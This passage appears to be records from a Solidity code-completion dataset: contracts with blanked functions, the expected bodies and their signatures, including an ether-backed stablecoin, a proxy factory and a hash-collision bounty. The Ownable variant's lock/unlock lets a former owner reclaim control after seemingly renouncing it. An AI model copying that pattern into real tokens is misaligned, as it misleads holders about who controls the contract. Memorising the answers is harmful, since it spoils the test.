occurs inside the call to fiatBalance. // Safe additions are unnecessary here, as either the addition is checked on the following line // or the overflow would cause the requirement not to be satisfied. require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO)); nominPool = safeAdd(nominPool, n); emit PoolReplenished(n, msg.value); } /* Burns n nomins from the pool. * Exceptional conditions: * Not called by contract owner. * There are fewer than n nomins in the pool. */ function diminishPool(uint n) external optionalProxy_onlyOwner { // Require that there are enough nomins in the accessible pool to burn require(nominPool >= n); nominPool = safeSub(nominPool, n); emit PoolDiminished(n); } /* Sends n nomins to the sender from the pool, in exchange for * $n plus the fee worth of ether. * Exceptional conditions: * Insufficient or too many funds provided. * More nomins requested than are in the pool. * n below the purchase minimum (1 cent). * contract in liquidation. * Price is stale. */ function buy(uint n) external payable notLiquidating optionalProxy { // Price staleness check occurs inside the call to purchaseEtherCost. require(n >= MINIMUM_PURCHASE && msg.value == purchaseCostEther(n)); address sender = messageSender; // sub requires that nominPool >= n nominPool = safeSub(nominPool, n); state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n)); emit Purchased(sender, sender, n, msg.value); emit Transfer(0, sender, n); totalSupply = safeAdd(totalSupply, n); } /* Sends n nomins to the pool from the sender, in exchange for * $n minus the fee worth of ether. * Exceptional conditions: * Insufficient nomins in sender's wallet. * Insufficient funds in the pool to pay sender. * Price is stale if not in liquidation. */ function sell(uint n) external optionalProxy { // Price staleness check occurs inside the call to saleProceedsEther, // but we allow people to sell their nomins back to the system // if we're in liquidation, regardless. uint proceeds; if (isLiquidating()) { proceeds = saleProceedsEtherAllowStale(n); } else { proceeds = saleProceedsEther(n); } require(address(this).balance >= proceeds); address sender = messageSender; // sub requires that the balance is greater than n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n)); nominPool = safeAdd(nominPool, n); emit Sold(sender, sender, n, proceeds); emit Transfer(sender, 0, n); totalSupply = safeSub(totalSupply, n); sender.transfer(proceeds); } /* Lock nomin purchase function in preparation for destroying the contract. * While the contract is under liquidation, users may sell nomins back to the system. * After liquidation period has terminated, the contract may be self-destructed, * returning all remaining ether to the beneficiary address. * Exceptional cases: * Not called by contract owner; * contract already in liquidation; */ function forceLiquidation() external notLiquidating optionalProxy_onlyOwner { beginLiquidation(); } function beginLiquidation() internal { liquidationTimestamp = now; emit LiquidationBegun(liquidationPeriod); } /* If the contract is liquidating, the owner may extend the liquidation period. * It may only get longer, not shorter, and it may not be extended past * the liquidation max. */ function extendLiquidationPeriod(uint extension) external optionalProxy_onlyOwner { require(isLiquidating()); uint sum = safeAdd(liquidationPeriod, extension); require(sum <= MAX_LIQUIDATION_PERIOD); liquidationPeriod = sum; emit LiquidationExtended(extension); } /* Liquidation can only be stopped if the collateralisation ratio * of this contract has recovered above the automatic liquidation * threshold, for example if the ether price has increased, * or by including enough ether in this transaction. */ function terminateLiquidation() external payable priceNotStale optionalProxy_onlyOwner { require(isLiquidating()); require(_nominCap() == 0 || collateralisationRatio() >= AUTO_LIQUIDATION_RATIO); liquidationTimestamp = ~uint(0); liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; emit LiquidationTerminated(); } /* The owner may destroy this contract, returning all funds back to the beneficiary * wallet, may only be called after the contract has been in * liquidation for at least liquidationPeriod, or all circulating * nomins have been sold back into the pool. */ function selfDestruct() external optionalProxy_onlyOwner { require(canSelfDestruct()); emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } /* If a confiscation court motion has passed and reached the confirmation * state, the court may transfer the target account's balance to the fee pool * and freeze its participation in further transactions. */ function confiscateBalance(address target) external { // Should be callable only by the confiscation court. require(Court(msg.sender) == court); // A motion must actually be underway. uint motionID = court.targetMotionID(target); require(motionID != 0); // These checks are strictly unnecessary, // since they are already checked in the court contract itself. // I leave them in out of paranoia. require(court.motionConfirming(motionID)); require(court.motionPasses(motionID)); require(!frozen[target]); // Confiscate the balance in the account and freeze it. uint balance = state.balanceOf(target); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance)); state.setBalanceOf(target, 0); frozen[target] = true; emit AccountFrozen(target, target, balance); emit Transfer(target, address(this), balance); } /* The owner may allow a previously-frozen contract to once * again accept and transfer nomins. */ function unfreezeAccount(address target) external optionalProxy_onlyOwner { if (frozen[target] && EtherNomin(target) != this) { frozen[target] = false; emit AccountUnfrozen(target, target); } } /* Fallback function allows convenient collateralisation of the contract, * including by non-foundation parties. */ function() public payable {} /* ========== MODIFIERS ========== */ modifier notLiquidating { require(!isLiquidating()); _; } modifier priceNotStale { require(!priceIsStale()); _; } /* Any function modified by this will automatically liquidate * the system if the collateral levels are too low. * This is called on collateral-value/nomin-supply modifying functions that can * actually move the contract into liquidation. This is really only * the price update, since issuance requires that the contract is overcollateralised, * burning can only destroy tokens without withdrawing backing, buying from the pool can only * asymptote to a collateralisation level of unity, while selling into the pool can only * increase the collateralisation ratio. * Additionally, price update checks should/will occur frequently. */ modifier postCheckAutoLiquidate { _; if (!isLiquidating() && _nominCap() != 0 && collateralisationRatio() < AUTO_LIQUIDATION_RATIO) { beginLiquidation(); } } /* ========== EVENTS ========== */ event PoolReplenished(uint nominsCreated, uint collateralDeposited); event PoolDiminished(uint nominsDestroyed); event Purchased(address buyer, address indexed buyerIndex, uint nomins, uint eth); event Sold(address seller, address indexed sellerIndex, uint nomins, uint eth); event PriceUpdated(uint newPrice); event StalePeriodUpdated(uint newPeriod); event OracleUpdated(address newOracle); event CourtUpdated(address newCourt); event BeneficiaryUpdated(address newBeneficiary); event LiquidationBegun(uint duration); event LiquidationTerminated(); event LiquidationExtended(uint extension); event PoolFeeRateUpdated(uint newFeeRate); event SelfDestructed(address beneficiary); event AccountFrozen(address target, address indexed targetIndex, uint balance); event AccountUnfrozen(address target, address indexed targetIndex); }
contract EtherNomin is ExternStateProxyFeeToken { /* ========== STATE VARIABLES ========== */ // The oracle provides price information to this contract. // It may only call the updatePrice() function. address public oracle; // The address of the contract which manages confiscation votes. Court public court; // Foundation wallet for funds to go to post liquidation. address public beneficiary; // Nomins in the pool ready to be sold. uint public nominPool; // Impose a 50 basis-point fee for buying from and selling to the nomin pool. uint public poolFeeRate = UNIT / 200; // The minimum purchasable quantity of nomins is 1 cent. uint constant MINIMUM_PURCHASE = UNIT / 100; // When issuing, nomins must be overcollateralised by this ratio. uint constant MINIMUM_ISSUANCE_RATIO = 2 * UNIT; // If the collateralisation ratio of the contract falls below this level, // immediately begin liquidation. uint constant AUTO_LIQUIDATION_RATIO = UNIT; // The liquidation period is the duration that must pass before the liquidation period is complete. // It can be extended up to a given duration. uint constant DEFAULT_LIQUIDATION_PERIOD = 90 days; uint constant MAX_LIQUIDATION_PERIOD = 180 days; uint public liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; // The timestamp when liquidation was activated. We initialise this to // uint max, so that we know that we are under liquidation if the // liquidation timestamp is in the past. uint public liquidationTimestamp = ~uint(0); // Ether price from oracle (fiat per ether). uint public etherPrice; // Last time the price was updated. uint public lastPriceUpdate; // The period it takes for the price to be considered stale. // If the price is stale, functions that require the price are disabled. uint public stalePeriod = 2 days; // Accounts which have lost the privilege to transact in nomins. mapping(address => bool) public frozen; <FILL_FUNCTION> /* ========== SETTERS ========== */ function setOracle(address _oracle) external optionalProxy_onlyOwner { oracle = _oracle; emit OracleUpdated(_oracle); } function setCourt(Court _court) external optionalProxy_onlyOwner { court = _court; emit CourtUpdated(_court); } function setBeneficiary(address _beneficiary) external optionalProxy_onlyOwner { beneficiary = _beneficiary; emit BeneficiaryUpdated(_beneficiary); } function setPoolFeeRate(uint _poolFeeRate) external optionalProxy_onlyOwner { require(_poolFeeRate <= UNIT); poolFeeRate = _poolFeeRate; emit PoolFeeRateUpdated(_poolFeeRate); } function setStalePeriod(uint _stalePeriod) external optionalProxy_onlyOwner { stalePeriod = _stalePeriod; emit StalePeriodUpdated(_stalePeriod); } /* ========== VIEW FUNCTIONS ========== */ /* Return the equivalent fiat value of the given quantity * of ether at the current price. * Reverts if the price is stale. */ function fiatValue(uint eth) public view priceNotStale returns (uint) { return safeMul_dec(eth, etherPrice); } /* Return the current fiat value of the contract's balance. * Reverts if the price is stale. */ function fiatBalance() public view returns (uint) { // Price staleness check occurs inside the call to fiatValue. return fiatValue(address(this).balance); } /* Return the equivalent ether value of the given quantity * of fiat at the current price. * Reverts if the price is stale. */ function etherValue(uint fiat) public view priceNotStale returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* The same as etherValue(), but without the stale price check. */ function etherValueAllowStale(uint fiat) internal view returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* Return the units of fiat per nomin in the supply. * Reverts if the price is stale. */ function collateralisationRatio() public view returns (uint) { return safeDiv_dec(fiatBalance(), _nominCap()); } /* Return the maximum number of extant nomins, * equal to the nomin pool plus total (circulating) supply. */ function _nominCap() internal view returns (uint) { return safeAdd(nominPool, totalSupply); } /* Return the fee charged on a purchase or sale of n nomins. */ function poolFeeIncurred(uint n) public view returns (uint) { return safeMul_dec(n, poolFeeRate); } /* Return the fiat cost (including fee) of purchasing n nomins. * Nomins are purchased for $1, plus the fee. */ function purchaseCostFiat(uint n) public view returns (uint) { return safeAdd(n, poolFeeIncurred(n)); } /* Return the ether cost (including fee) of purchasing n nomins. * Reverts if the price is stale. */ function purchaseCostEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(purchaseCostFiat(n)); } /* Return the fiat proceeds (less the fee) of selling n nomins. * Nomins are sold for $1, minus the fee. */ function saleProceedsFiat(uint n) public view returns (uint) { return safeSub(n, poolFeeIncurred(n)); } /* Return the ether proceeds (less the fee) of selling n * nomins. * Reverts if the price is stale. */ function saleProceedsEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(saleProceedsFiat(n)); } /* The same as saleProceedsEther(), but without the stale price check. */ function saleProceedsEtherAllowStale(uint n) internal view returns (uint) { return etherValueAllowStale(saleProceedsFiat(n)); } /* True iff the current block timestamp is later than the time * the price was last updated, plus the stale period. */ function priceIsStale() public view returns (bool) { return safeAdd(lastPriceUpdate, stalePeriod) < now; } function isLiquidating() public view returns (bool) { return liquidationTimestamp <= now; } /* True if the contract is self-destructible. * This is true if either the complete liquidation period has elapsed, * or if all tokens have been returned to the contract and it has been * in liquidation for at least a week. * Since the contract is only destructible after the liquidationTimestamp, * a fortiori canSelfDestruct() implies isLiquidating(). */ function canSelfDestruct() public view returns (bool) { // Not being in liquidation implies the timestamp is uint max, so it would roll over. // We need to check whether we're in liquidation first. if (isLiquidating()) { // These timestamps and durations have values clamped within reasonable values and // cannot overflow. bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now; // Total supply of 0 means all tokens have returned to the pool. bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0); return totalPeriodElapsed || allTokensReturned; } return false; } /* ========== MUTATIVE FUNCTIONS ========== */ /* Override ERC20 transfer function in order to check * whether the recipient account is frozen. Note that there is * no need to check whether the sender has a frozen account, * since their funds have already been confiscated, * and no new funds can be transferred to it.*/ function transfer(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transfer_byProxy(messageSender, to, value); } /* Override ERC20 transferFrom function in order to check * whether the recipient account is frozen. */ function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferFrom_byProxy(messageSender, from, to, value); } /* Update the current ether price and update the last updated time, * refreshing the price staleness. * Also checks whether the contract's collateral levels have fallen to low, * and initiates liquidation if that is the case. * Exceptional conditions: * Not called by the oracle. * Not the most recently sent price. */ function updatePrice(uint price, uint timeSent) external postCheckAutoLiquidate { // Should be callable only by the oracle. require(msg.sender == oracle); // Must be the most recently sent price, but not too far in the future. // (so we can't lock ourselves out of updating the oracle for longer than this) require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes); etherPrice = price; lastPriceUpdate = timeSent; emit PriceUpdated(price); } /* Issues n nomins into the pool available to be bought by users. * Must be accompanied by $n worth of ether. * Exceptional conditions: * Not called by contract owner. * Insufficient backing funds provided (post-issuance collateralisation below minimum requirement). * Price is stale. */ function replenishPool(uint n) external payable notLiquidating optionalProxy_onlyOwner { // Price staleness check occurs inside the call to fiatBalance. // Safe additions are unnecessary here, as either the addition is checked on the following line // or the overflow would cause the requirement not to be satisfied. require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO)); nominPool = safeAdd(nominPool, n); emit PoolReplenished(n, msg.value); } /* Burns n nomins from the pool. * Exceptional conditions: * Not called by contract owner. * There are fewer than n nomins in the pool. */ function diminishPool(uint n) external optionalProxy_onlyOwner { // Require that there are enough nomins in the accessible pool to burn require(nominPool >= n); nominPool = safeSub(nominPool, n); emit PoolDiminished(n); } /* Sends n nomins to the sender from the pool, in exchange for * $n plus the fee worth of ether. * Exceptional conditions: * Insufficient or too many funds provided. * More nomins requested than are in the pool. * n below the purchase minimum (1 cent). * contract in liquidation. * Price is stale. */ function buy(uint n) external payable notLiquidating optionalProxy { // Price staleness check occurs inside the call to purchaseEtherCost. require(n >= MINIMUM_PURCHASE && msg.value == purchaseCostEther(n)); address sender = messageSender; // sub requires that nominPool >= n nominPool = safeSub(nominPool, n); state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n)); emit Purchased(sender, sender, n, msg.value); emit Transfer(0, sender, n); totalSupply = safeAdd(totalSupply, n); } /* Sends n nomins to the pool from the sender, in exchange for * $n minus the fee worth of ether. * Exceptional conditions: * Insufficient nomins in sender's wallet. * Insufficient funds in the pool to pay sender. * Price is stale if not in liquidation. */ function sell(uint n) external optionalProxy { // Price staleness check occurs inside the call to saleProceedsEther, // but we allow people to sell their nomins back to the system // if we're in liquidation, regardless. uint proceeds; if (isLiquidating()) { proceeds = saleProceedsEtherAllowStale(n); } else { proceeds = saleProceedsEther(n); } require(address(this).balance >= proceeds); address sender = messageSender; // sub requires that the balance is greater than n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n)); nominPool = safeAdd(nominPool, n); emit Sold(sender, sender, n, proceeds); emit Transfer(sender, 0, n); totalSupply = safeSub(totalSupply, n); sender.transfer(proceeds); } /* Lock nomin purchase function in preparation for destroying the contract. * While the contract is under liquidation, users may sell nomins back to the system. * After liquidation period has terminated, the contract may be self-destructed, * returning all remaining ether to the beneficiary address. * Exceptional cases: * Not called by contract owner; * contract already in liquidation; */ function forceLiquidation() external notLiquidating optionalProxy_onlyOwner { beginLiquidation(); } function beginLiquidation() internal { liquidationTimestamp = now; emit LiquidationBegun(liquidationPeriod); } /* If the contract is liquidating, the owner may extend the liquidation period. * It may only get longer, not shorter, and it may not be extended past * the liquidation max. */ function extendLiquidationPeriod(uint extension) external optionalProxy_onlyOwner { require(isLiquidating()); uint sum = safeAdd(liquidationPeriod, extension); require(sum <= MAX_LIQUIDATION_PERIOD); liquidationPeriod = sum; emit LiquidationExtended(extension); } /* Liquidation can only be stopped if the collateralisation ratio * of this contract has recovered above the automatic liquidation * threshold, for example if the ether price has increased, * or by including enough ether in this transaction. */ function terminateLiquidation() external payable priceNotStale optionalProxy_onlyOwner { require(isLiquidating()); require(_nominCap() == 0 || collateralisationRatio() >= AUTO_LIQUIDATION_RATIO); liquidationTimestamp = ~uint(0); liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; emit LiquidationTerminated(); } /* The owner may destroy this contract, returning all funds back to the beneficiary * wallet, may only be called after the contract has been in * liquidation for at least liquidationPeriod, or all circulating * nomins have been sold back into the pool. */ function selfDestruct() external optionalProxy_onlyOwner { require(canSelfDestruct()); emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } /* If a confiscation court motion has passed and reached the confirmation * state, the court may transfer the target account's balance to the fee pool * and freeze its participation in further transactions. */ function confiscateBalance(address target) external { // Should be callable only by the confiscation court. require(Court(msg.sender) == court); // A motion must actually be underway. uint motionID = court.targetMotionID(target); require(motionID != 0); // These checks are strictly unnecessary, // since they are already checked in the court contract itself. // I leave them in out of paranoia. require(court.motionConfirming(motionID)); require(court.motionPasses(motionID)); require(!frozen[target]); // Confiscate the balance in the account and freeze it. uint balance = state.balanceOf(target); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance)); state.setBalanceOf(target, 0); frozen[target] = true; emit AccountFrozen(target, target, balance); emit Transfer(target, address(this), balance); } /* The owner may allow a previously-frozen contract to once * again accept and transfer nomins. */ function unfreezeAccount(address target) external optionalProxy_onlyOwner { if (frozen[target] && EtherNomin(target) != this) { frozen[target] = false; emit AccountUnfrozen(target, target); } } /* Fallback function allows convenient collateralisation of the contract, * including by non-foundation parties. */ function() public payable {} /* ========== MODIFIERS ========== */ modifier notLiquidating { require(!isLiquidating()); _; } modifier priceNotStale { require(!priceIsStale()); _; } /* Any function modified by this will automatically liquidate * the system if the collateral levels are too low. * This is called on collateral-value/nomin-supply modifying functions that can * actually move the contract into liquidation. This is really only * the price update, since issuance requires that the contract is overcollateralised, * burning can only destroy tokens without withdrawing backing, buying from the pool can only * asymptote to a collateralisation level of unity, while selling into the pool can only * increase the collateralisation ratio. * Additionally, price update checks should/will occur frequently. */ modifier postCheckAutoLiquidate { _; if (!isLiquidating() && _nominCap() != 0 && collateralisationRatio() < AUTO_LIQUIDATION_RATIO) { beginLiquidation(); } } /* ========== EVENTS ========== */ event PoolReplenished(uint nominsCreated, uint collateralDeposited); event PoolDiminished(uint nominsDestroyed); event Purchased(address buyer, address indexed buyerIndex, uint nomins, uint eth); event Sold(address seller, address indexed sellerIndex, uint nomins, uint eth); event PriceUpdated(uint newPrice); event StalePeriodUpdated(uint newPeriod); event OracleUpdated(address newOracle); event CourtUpdated(address newCourt); event BeneficiaryUpdated(address newBeneficiary); event LiquidationBegun(uint duration); event LiquidationTerminated(); event LiquidationExtended(uint extension); event PoolFeeRateUpdated(uint newFeeRate); event SelfDestructed(address beneficiary); event AccountFrozen(address target, address indexed targetIndex, uint balance); event AccountUnfrozen(address target, address indexed targetIndex); }
oracle = _oracle; beneficiary = _beneficiary; etherPrice = initialEtherPrice; lastPriceUpdate = now; emit PriceUpdated(etherPrice); // It should not be possible to transfer to the nomin contract itself. frozen[this] = true;
function EtherNomin(address _havven, address _oracle, address _beneficiary, uint initialEtherPrice, address _owner, TokenState initialState) ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD", 15 * UNIT / 10000, // nomin transfers incur a 15 bp fee _havven, // the havven contract is the fee authority initialState, _owner) public
/* ========== CONSTRUCTOR ========== */ function EtherNomin(address _havven, address _oracle, address _beneficiary, uint initialEtherPrice, address _owner, TokenState initialState) ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD", 15 * UNIT / 10000, // nomin transfers incur a 15 bp fee _havven, // the havven contract is the fee authority initialState, _owner) public
90888
Ownable
null
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () {<FILL_FUNCTION_BODY> } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } }
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } }
address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor ()
/** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor ()
30188
HasNoTokens
tokenFallback
contract HasNoTokens is CanReclaimToken { /** * @dev Reject all ERC223 compatible tokens * @param from_ address The address that is transferring the tokens * @param value_ uint256 the amount of the specified token * @param data_ Bytes The data passed from the caller. */ function tokenFallback(address from_, uint256 value_, bytes data_) pure external {<FILL_FUNCTION_BODY> } }
contract HasNoTokens is CanReclaimToken { <FILL_FUNCTION> }
from_; value_; data_; revert();
function tokenFallback(address from_, uint256 value_, bytes data_) pure external
/** * @dev Reject all ERC223 compatible tokens * @param from_ address The address that is transferring the tokens * @param value_ uint256 the amount of the specified token * @param data_ Bytes The data passed from the caller. */ function tokenFallback(address from_, uint256 value_, bytes data_) pure external
56216
MinimalProxyFactory
createVesting
contract MinimalProxyFactory { using Address for address; event VestingCreated(address indexed _address, bytes32 _salt); constructor() public { } function createVesting(address _implementation, bytes32 _salt, bytes memory _data) public virtual returns (address addr) {<FILL_FUNCTION_BODY> } }
contract MinimalProxyFactory { using Address for address; event VestingCreated(address indexed _address, bytes32 _salt); constructor() public { } <FILL_FUNCTION> }
bytes32 salt = keccak256(abi.encodePacked(_salt, msg.sender)); // solium-disable-next-line security/no-inline-assembly bytes memory slotcode = abi.encodePacked( hex"3d602d80600a3d3981f3363d3d373d3d3d363d73", _implementation, hex"5af43d82803e903d91602b57fd5bf3" ); assembly { addr := create2(0, add(slotcode, 0x20), mload(slotcode), salt) } require(addr != address(0), "MinimalProxyFactory#createVesting: CREATION_FAILED"); emit VestingCreated(addr, _salt); if (_data.length > 0) { (bool success,) = addr.call(_data); require(success, "MinimalProxyFactory#createVesting: CALL_FAILED"); }
function createVesting(address _implementation, bytes32 _salt, bytes memory _data) public virtual returns (address addr)
function createVesting(address _implementation, bytes32 _salt, bytes memory _data) public virtual returns (address addr)
80551
Base
claimReward
contract Base { event LogString(string str); address payable internal operator; uint256 constant internal MINIMUM_TIME_TO_REVEAL = 1 days; uint256 constant internal TIME_TO_ALLOW_REVOKE = 7 days; bool internal isRevokeStarted = false; uint256 internal revokeTime = 0; // The time from which we can revoke. bool internal active = true; // mapping: (address, commitment) -> time // Times from which the users may claim the reward. mapping (address => mapping (bytes32 => uint256)) private reveal_timestamps; constructor () internal { operator = msg.sender; } modifier onlyOperator() { require(msg.sender == operator, "ONLY_OPERATOR"); _; // The _; defines where the called function is executed. } function register(bytes32 commitment) public { require(reveal_timestamps[msg.sender][commitment] == 0, "Entry already registered."); reveal_timestamps[msg.sender][commitment] = now + MINIMUM_TIME_TO_REVEAL; } /* Makes sure that the commitment was registered at least MINIMUM_TIME_TO_REVEAL before the current time. */ function verifyTimelyRegistration(bytes32 commitment) internal view { uint256 registrationMaturationTime = reveal_timestamps[msg.sender][commitment]; require(registrationMaturationTime != 0, "Commitment is not registered."); require(now >= registrationMaturationTime, "Time for reveal has not passed yet."); } /* WARNING: This function should only be used with call() and not transact(). Creating a transaction that invokes this function might reveal the collision and make it subject to front-running. */ function calcCommitment(uint256[] memory firstInput, uint256[] memory secondInput) public view returns (bytes32 commitment) { address sender = msg.sender; uint256 firstLength = firstInput.length; uint256 secondLength = secondInput.length; uint256[] memory hash_elements = new uint256[](1 + firstLength + secondLength); hash_elements[0] = uint256(sender); uint256 offset = 1; for (uint256 i = 0; i < firstLength; i++) { hash_elements[offset + i] = firstInput[i]; } offset = 1 + firstLength; for (uint256 i = 0; i < secondLength; i++) { hash_elements[offset + i] = secondInput[i]; } commitment = keccak256(abi.encodePacked(hash_elements)); } function claimReward( uint256[] memory firstInput, uint256[] memory secondInput, string memory solutionDescription, string memory name) public {<FILL_FUNCTION_BODY> } function applyHash(uint256[] memory elements) public view returns (uint256[] memory elementsHash) { elementsHash = sponge(elements); } function startRevoke() public onlyOperator() { require(isRevokeStarted == false, "Revoke already started."); isRevokeStarted = true; revokeTime = now + TIME_TO_ALLOW_REVOKE; } function revokeReward() public onlyOperator() { require(isRevokeStarted == true, "Revoke not started yet."); require(now >= revokeTime, "Revoke time not passed."); active = false; operator.transfer(address(this).balance); } function sponge(uint256[] memory inputs) internal view returns (uint256[] memory outputElements); function getStatus() public view returns (bool[] memory status) { status = new bool[](2); status[0] = isRevokeStarted; status[1] = active; } }
contract Base { event LogString(string str); address payable internal operator; uint256 constant internal MINIMUM_TIME_TO_REVEAL = 1 days; uint256 constant internal TIME_TO_ALLOW_REVOKE = 7 days; bool internal isRevokeStarted = false; uint256 internal revokeTime = 0; // The time from which we can revoke. bool internal active = true; // mapping: (address, commitment) -> time // Times from which the users may claim the reward. mapping (address => mapping (bytes32 => uint256)) private reveal_timestamps; constructor () internal { operator = msg.sender; } modifier onlyOperator() { require(msg.sender == operator, "ONLY_OPERATOR"); _; // The _; defines where the called function is executed. } function register(bytes32 commitment) public { require(reveal_timestamps[msg.sender][commitment] == 0, "Entry already registered."); reveal_timestamps[msg.sender][commitment] = now + MINIMUM_TIME_TO_REVEAL; } /* Makes sure that the commitment was registered at least MINIMUM_TIME_TO_REVEAL before the current time. */ function verifyTimelyRegistration(bytes32 commitment) internal view { uint256 registrationMaturationTime = reveal_timestamps[msg.sender][commitment]; require(registrationMaturationTime != 0, "Commitment is not registered."); require(now >= registrationMaturationTime, "Time for reveal has not passed yet."); } /* WARNING: This function should only be used with call() and not transact(). Creating a transaction that invokes this function might reveal the collision and make it subject to front-running. */ function calcCommitment(uint256[] memory firstInput, uint256[] memory secondInput) public view returns (bytes32 commitment) { address sender = msg.sender; uint256 firstLength = firstInput.length; uint256 secondLength = secondInput.length; uint256[] memory hash_elements = new uint256[](1 + firstLength + secondLength); hash_elements[0] = uint256(sender); uint256 offset = 1; for (uint256 i = 0; i < firstLength; i++) { hash_elements[offset + i] = firstInput[i]; } offset = 1 + firstLength; for (uint256 i = 0; i < secondLength; i++) { hash_elements[offset + i] = secondInput[i]; } commitment = keccak256(abi.encodePacked(hash_elements)); } <FILL_FUNCTION> function applyHash(uint256[] memory elements) public view returns (uint256[] memory elementsHash) { elementsHash = sponge(elements); } function startRevoke() public onlyOperator() { require(isRevokeStarted == false, "Revoke already started."); isRevokeStarted = true; revokeTime = now + TIME_TO_ALLOW_REVOKE; } function revokeReward() public onlyOperator() { require(isRevokeStarted == true, "Revoke not started yet."); require(now >= revokeTime, "Revoke time not passed."); active = false; operator.transfer(address(this).balance); } function sponge(uint256[] memory inputs) internal view returns (uint256[] memory outputElements); function getStatus() public view returns (bool[] memory status) { status = new bool[](2); status[0] = isRevokeStarted; status[1] = active; } }
require(active == true, "This challenge is no longer active. Thank you for participating."); require(firstInput.length > 0, "First input cannot be empty."); require(secondInput.length > 0, "Second input cannot be empty."); require(firstInput.length == secondInput.length, "Input lengths are not equal."); uint256 inputLength = firstInput.length; bool sameInput = true; for (uint256 i = 0; i < inputLength; i++) { if (firstInput[i] != secondInput[i]) { sameInput = false; } } require(sameInput == false, "Inputs are equal."); bool sameHash = true; uint256[] memory firstHash = applyHash(firstInput); uint256[] memory secondHash = applyHash(secondInput); require(firstHash.length == secondHash.length, "Output lengths are not equal."); uint256 outputLength = firstHash.length; for (uint256 i = 0; i < outputLength; i++) { if (firstHash[i] != secondHash[i]) { sameHash = false; } } require(sameHash == true, "Not a collision."); verifyTimelyRegistration(calcCommitment(firstInput, secondInput)); active = false; emit LogString(solutionDescription); emit LogString(name); msg.sender.transfer(address(this).balance);
function claimReward( uint256[] memory firstInput, uint256[] memory secondInput, string memory solutionDescription, string memory name) public
function claimReward( uint256[] memory firstInput, uint256[] memory secondInput, string memory solutionDescription, string memory name) public
54365
CompositeVaultMaster
setInsuranceFee
